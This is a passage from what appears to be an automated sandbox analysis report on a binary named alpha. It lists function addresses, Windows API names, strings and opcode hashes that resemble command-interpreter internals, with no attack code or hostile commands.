                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset
                                                    • String ID: onecore\base\cmd\maxpathawarestring.cpp
                                                    • API String ID: 2221118986-3416068913
                                                    • Opcode ID: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
                                                    • Instruction ID: a21b7e170de5fbcd7d4757b83cff524be0594df726248e6010398edf70800463
                                                    • Opcode Fuzzy Hash: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
                                                    • Instruction Fuzzy Hash: 57118225A2964285EF54CBA9B1542B923909F85BE4F1C4331EF6DCF7F6DE2CD8808390
                                                    Function 00007FF6BF3DBE00 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 120COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memsetwcschr
                                                    • String ID: 2$COMSPEC
                                                    • API String ID: 1764819092-1738800741
                                                    • Opcode ID: b9ab5f7dc9e1de4fb73340b4936d8faa2c9ba4b21260c8514921b1ab44a1c5e6
                                                    • Instruction ID: 046cde6f411d08a4f0b34be96cad204828d404f59512e8cdf1ad189afbb784f7
                                                    • Opcode Fuzzy Hash: b9ab5f7dc9e1de4fb73340b4936d8faa2c9ba4b21260c8514921b1ab44a1c5e6
                                                    • Instruction Fuzzy Hash: 80518869E8864285FB749BADA8413B96395AF84B84F084031DB4DCB7F6DF2CE84487C1
                                                    Function 00007FF6BF3E2EFC Relevance: 4.6, APIs: 3, Instructions: 101COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$ErrorFileFindFirstLastwcsrchr
                                                    • String ID:
                                                    • API String ID: 4254246844-0
                                                    • Opcode ID: 957b6616a90fc8dff72bb369af8d616d7be4d88c64500895f40bc219e0b26270
                                                    • Instruction ID: 9823c6676e06839cfdac933b0345849f90a46c53a0e7004581641ec6f80ac8a3
                                                    • Opcode Fuzzy Hash: 957b6616a90fc8dff72bb369af8d616d7be4d88c64500895f40bc219e0b26270
                                                    • Instruction Fuzzy Hash: 0741A731E2874286EE208B98E4443B97BA0EF99784F444531DB4ECBBE1DF3CE8558790
                                                    Function 00007FF6BF3E498C Relevance: 4.5, APIs: 3, Instructions: 33memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$EnvironmentFreeProcessVariable
                                                    • String ID:
                                                    • API String ID: 2643372051-0
                                                    • Opcode ID: 49892fdbdbb93a03844bd16286cde042899f8d20c3c19ceaef7f6d70d853aae3
                                                    • Instruction ID: 44798ebef4eb91f924d712714fcd3d1e5d9e37b2fc39dc876cd353bfec307623
                                                    • Opcode Fuzzy Hash: 49892fdbdbb93a03844bd16286cde042899f8d20c3c19ceaef7f6d70d853aae3
                                                    • Instruction Fuzzy Hash: 19F0A272A29B4281EA009BBDE4040746BE1FF9E7A0B459234C62E873A1DF7C94548340
                                                    Function 00007FF6BF3E5A68 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _get_osfhandle$ConsoleMode
                                                    • String ID:
                                                    • API String ID: 1591002910-0
                                                    • Opcode ID: cc4878986f4e42514252d7eb877981450ae5bf52a0b27ba4d12556fbaf1eff51
                                                    • Instruction ID: 5d4970a9e047db3fd413bda3caef2fc5c3ac2984468bba88308ca1a87e184be1
                                                    • Opcode Fuzzy Hash: cc4878986f4e42514252d7eb877981450ae5bf52a0b27ba4d12556fbaf1eff51
                                                    • Instruction Fuzzy Hash: F7F07435A19712CBE6048BA8E9450797FA0FB9EB15F444134CB0EC7332DF7CA5658B00
                                                    Function 00007FF6BF3E291C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: DriveType
                                                    • String ID: :
                                                    • API String ID: 338552980-336475711
                                                    • Opcode ID: 3bcdc316eb0a86f33f1a800567ff16fc16a0090fe1dc924e7a0720ee54c15b7d
                                                    • Instruction ID: 7ae371557940dd0cabcabaa806c0db1b9ece11f229bd0e828a668615c3186e1c
                                                    • Opcode Fuzzy Hash: 3bcdc316eb0a86f33f1a800567ff16fc16a0090fe1dc924e7a0720ee54c15b7d
                                                    • Instruction Fuzzy Hash: 7DE06D7762864086E7209BA4E4510AAB7A0FB9D348F841925EA8DC7734DF3CD25ACB08
                                                    Function 00007FF6BF3E5AD8 Relevance: 3.1, APIs: 2, Instructions: 93COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3DCD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDA6
                                                      • Part of subcall function 00007FF6BF3DCD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDBD
                                                    • GetConsoleTitleW.KERNELBASE ref: 00007FF6BF3E5B52
                                                      • Part of subcall function 00007FF6BF3E4224: InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6BF3E4297
                                                      • Part of subcall function 00007FF6BF3E4224: UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6BF3E42D7
                                                      • Part of subcall function 00007FF6BF3E4224: memset.MSVCRT ref: 00007FF6BF3E42FD
                                                      • Part of subcall function 00007FF6BF3E4224: memset.MSVCRT ref: 00007FF6BF3E4368
                                                      • Part of subcall function 00007FF6BF3E4224: GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6BF3E4380
                                                      • Part of subcall function 00007FF6BF3E4224: wcsrchr.MSVCRT ref: 00007FF6BF3E43E6
                                                      • Part of subcall function 00007FF6BF3E4224: lstrcmpW.KERNELBASE ref: 00007FF6BF3E4401
                                                    • GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF6BF3E5BC7
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$AttributeConsoleHeapProcThreadTitlewcsrchr$AllocInfoInitializeListProcessStartupUpdate_wcsnicmplstrcmpwcschr
                                                    • String ID:
                                                    • API String ID: 497088868-0
                                                    • Opcode ID: 7ab6fa8dc0b51f14b91d73e5ffe10a57052e9477fd238aff7d214e1f01dcae97
                                                    • Instruction ID: 141958adb3ea8d4abfcc64e1531d7f8cf90b9e7a35eb4c21d984e987229dee76
                                                    • Opcode Fuzzy Hash: 7ab6fa8dc0b51f14b91d73e5ffe10a57052e9477fd238aff7d214e1f01dcae97
                                                    • Instruction Fuzzy Hash: 2931A735B6C64242FA64A7A9A4501BD7395FF89BC0F445031EB4ECBBB5DE3CE9018790
                                                    Function 00007FF6BF3E9A6C Relevance: 3.0, APIs: 2, Instructions: 34COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Concurrency::cancel_current_taskmalloc
                                                    • String ID:
                                                    • API String ID: 1412018758-0
                                                    • Opcode ID: 1cbc76b91adcbc50426ec0160b6c43d02b5c02c802198208a66957b4662997da
                                                    • Instruction ID: 529d2575273f4e369de59cbcb6d7fae772cd507c029d9000e28ebe44a29057bf
                                                    • Opcode Fuzzy Hash: 1cbc76b91adcbc50426ec0160b6c43d02b5c02c802198208a66957b4662997da
                                                    • Instruction Fuzzy Hash: B6E09220F2A30781FE252BFA785107433445F28740F081430CF0D8E3A2EE2CE89183B0
                                                    Function 00007FF6BF3DCD90 Relevance: 2.5, APIs: 2, Instructions: 30memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDA6
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDBD
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$AllocProcess
                                                    • String ID:
                                                    • API String ID: 1617791916-0
                                                    • Opcode ID: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
                                                    • Instruction ID: f2ae5535178175761bf7b84727fc5370a0c9e9e7114fd90532d21ae82c1dec22
                                                    • Opcode Fuzzy Hash: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
                                                    • Instruction Fuzzy Hash: 41F03C76E2864286EB148B99F8400B8BBA0FB89B40B589534DA0E87365DF3CE951C700
                                                    Function 00007FF6BF3E4C1C Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: exit
                                                    • String ID:
                                                    • API String ID: 2483651598-0
                                                    • Opcode ID: e255d2af7c18615348d8cf7a7b788cdf459202c7b5a34beac69f38e8db5c085f
                                                    • Instruction ID: 9e07b1f5a2c297c69e69b79f8badfaa04c719a4222800926148ce0da7b3d454f
                                                    • Opcode Fuzzy Hash: e255d2af7c18615348d8cf7a7b788cdf459202c7b5a34beac69f38e8db5c085f
                                                    • Instruction Fuzzy Hash: BDC0803471464697EF5C77B5645103D2B645F1C301F04543DC707C62A3DD6CDC148354
                                                    Function 00007FF6BF3E5508 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: DefaultUser
                                                    • String ID:
                                                    • API String ID: 3358694519-0
                                                    • Opcode ID: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
                                                    • Instruction ID: a363dec03172e5c6d3e1bd0b2411f077711bdfc583ae666b48df2b80ddc79506
                                                    • Opcode Fuzzy Hash: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
                                                    • Instruction Fuzzy Hash: 42E08CBAD282528AF5D42B8A60412B41B93CF78782F845031C70FC92E94D2D2C415328
                                                    Function 00007FF6BF3E2E44 Relevance: 1.3, APIs: 1, Instructions: 29COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset
                                                    • String ID:
                                                    • API String ID: 2221118986-0
                                                    • Opcode ID: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
                                                    • Instruction ID: 93985bdabd02272beb349f47fb54266c702340b3569b335ca11cb22c3fd228f0
                                                    • Opcode Fuzzy Hash: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
                                                    • Instruction Fuzzy Hash: AEF0B421B1979140EE40879BB94012963909F88BE0B088334EBBC8BBE5DE3CD8518700

                                                    Non-executed Functions

                                                    Function 00007FF6BF3D5B70 Relevance: 158.5, APIs: 70, Strings: 20, Instructions: 1037memorythreadprocessCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsicmp$AttributeHeapProcThread$ErrorHandleLast$ListProcessmemset$towupper$CloseConsoleCtrlDeleteFreeHandlerInitializeUpdateiswspacewcschr$AllocCreateInfoStartup_wcsnicmp
                                                    • String ID: $ /K $ /K %s$"%s"$.LNK$ABOVENORMAL$AFFINITY$BELOWNORMAL$COMSPEC$HIGH$LOW$MAX$MIN$NEWWINDOW$NODE$NORMAL$REALTIME$SEPARATE$SHARED$WAIT
                                                    • API String ID: 1388555566-2647954630
                                                    • Opcode ID: 5bfa848c86ea83563edc3798e9b62a89bffd279fb50d3622c784112f9d8a1b0e
                                                    • Instruction ID: fa68032e9243d94f47b99bdbb2ff946ede4e7382fecf1a5dffb68b37aaf056b5
                                                    • Opcode Fuzzy Hash: 5bfa848c86ea83563edc3798e9b62a89bffd279fb50d3622c784112f9d8a1b0e
                                                    • Instruction Fuzzy Hash: 74A2C532A0878286EB509BA9E4142BD7BA1FF99B84F448135DB4E8B7B5DF3CE454C740
                                                    Function 00007FF6BF3DE680 Relevance: 79.4, APIs: 39, Strings: 6, Instructions: 696COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$FileSize_get_osfhandle_wcsnicmpiswspace
                                                    • String ID: &<|>$+: $:$:EOF$=,;$^
                                                    • API String ID: 511550188-726566285
                                                    • Opcode ID: 348cd75d81f2e43b90b1fdde602cc3fa7c7e8620821296db2d6a5e23a835ab51
                                                    • Instruction ID: 33d44578f6cc6b9d40569ba519b3d5a6bc97eaeb319f97d9534dd4e5512924c1
                                                    • Opcode Fuzzy Hash: 348cd75d81f2e43b90b1fdde602cc3fa7c7e8620821296db2d6a5e23a835ab51
                                                    • Instruction Fuzzy Hash: 7E52A036E1C65286EB248BA8A4002797FA0FF55B44F484135DB4E8B7B5DF7CE985C780
                                                    Function 00007FF6BF3D9E50 Relevance: 67.3, APIs: 32, Strings: 6, Instructions: 812COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsnicmp$wcschr$wcstol
                                                    • String ID: delims=$eol=$skip=$tokens=$useback$usebackq
                                                    • API String ID: 1738779099-3004636944
                                                    • Opcode ID: ed9b4971405935f9cd70a6a1a32585b3fb37949906c07fe23bc6612a814efbe7
                                                    • Instruction ID: 84107cd4e73c1b6cc8371d7720607d7b69130939e023de65daa728e5ef521d21
                                                    • Opcode Fuzzy Hash: ed9b4971405935f9cd70a6a1a32585b3fb37949906c07fe23bc6612a814efbe7
                                                    • Instruction Fuzzy Hash: 2C728A36F486528AEB208FA995002BD77B1FB54B88F418035DF4E9B7B5DF7CA8558380
                                                    Function 00007FF6BF3F7F00 Relevance: 61.6, APIs: 28, Strings: 7, Instructions: 341memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F7F44
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3F7F5C
                                                    • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F7F9E
                                                    • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F7FFF
                                                    • ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F8020
                                                    • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F8036
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F8061
